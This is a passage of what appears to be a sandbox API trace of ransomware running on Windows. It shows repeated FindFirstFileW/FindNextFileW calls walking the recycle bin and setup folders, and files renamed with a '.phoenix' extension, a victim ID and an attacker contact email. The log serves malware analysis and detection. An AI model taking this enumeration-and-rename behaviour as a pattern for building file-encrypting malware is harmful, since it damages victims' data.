	[0218.836] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cbece46, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="GETCUR~1.PHO")) returned 1
	[0218.837] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb7a550, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb7a550, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce28f85, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="GETCUR~2.PHO")) returned 1
	[0218.837] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb2df9e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb2df9e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc14375, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 1
	[0218.837] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PREOOB~1.PHO")) returned 1
	[0218.837] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPC~1.PHO")) returned 1
	[0218.837] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPC~1.PHO")) returned 0
	[0218.837] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.838] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0218.838] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0218.838] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0218.838] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x750058 | out: hHeap=0x680000) returned 1
	[0218.838] FindNextFileW (in: hFindFile=0x1390a0, lpFindFileData=0x288f770 | out: lpFindFileData=0x288f770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x288f998, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0218.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0218.838] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0218.838] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0218.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x138fe0
	[0218.839] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.839] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce7532c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 1
	[0218.839] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce7532c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 0
	[0218.839] FindClose (in: hFindFile=0x138fe0 | out: hFindFile=0x138fe0) returned 1
	[0218.839] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0218.839] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0218.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.839] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xea6a35d8, ftCreationTime.dwHighDateTime=0x1d502b0, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce28f85, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce28f85, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce54b38, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce28f85, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce28f85, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce54b38, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 0
	[0218.840] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.840] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0218.840] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0218.840] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x750058 | out: hHeap=0x680000) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1390a0, lpFindFileData=0x288f770 | out: lpFindFileData=0x288f770*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x288f998, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0218.840] SetEvent (hEvent=0x27c) returned 1
	[0218.840] ResetEvent (hEvent=0x280) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x1390a0, lpFindFileData=0x288f770 | out: lpFindFileData=0x288f770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x288f998, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0218.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x138fe0
	[0218.840] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0218.840] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1025", cAlternateFileName="")) returned 1
	[0218.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1391a0
	[0218.842] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.842] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce9be93, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.842] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cec18a3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.842] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ccf7c1f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.842] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ccf7c1f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.842] FindClose (in: hFindFile=0x1391a0 | out: hFindFile=0x1391a0) returned 1
	[0218.843] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0218.843] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1
	[0218.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0218.903] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.072] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce9be93, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce9be93, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1e2968, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.072] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cec18a3, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cec18a3, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1bc9aa, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.072] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cce24e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.072] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cce24e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.072] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.073] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.073] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1
	[0219.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
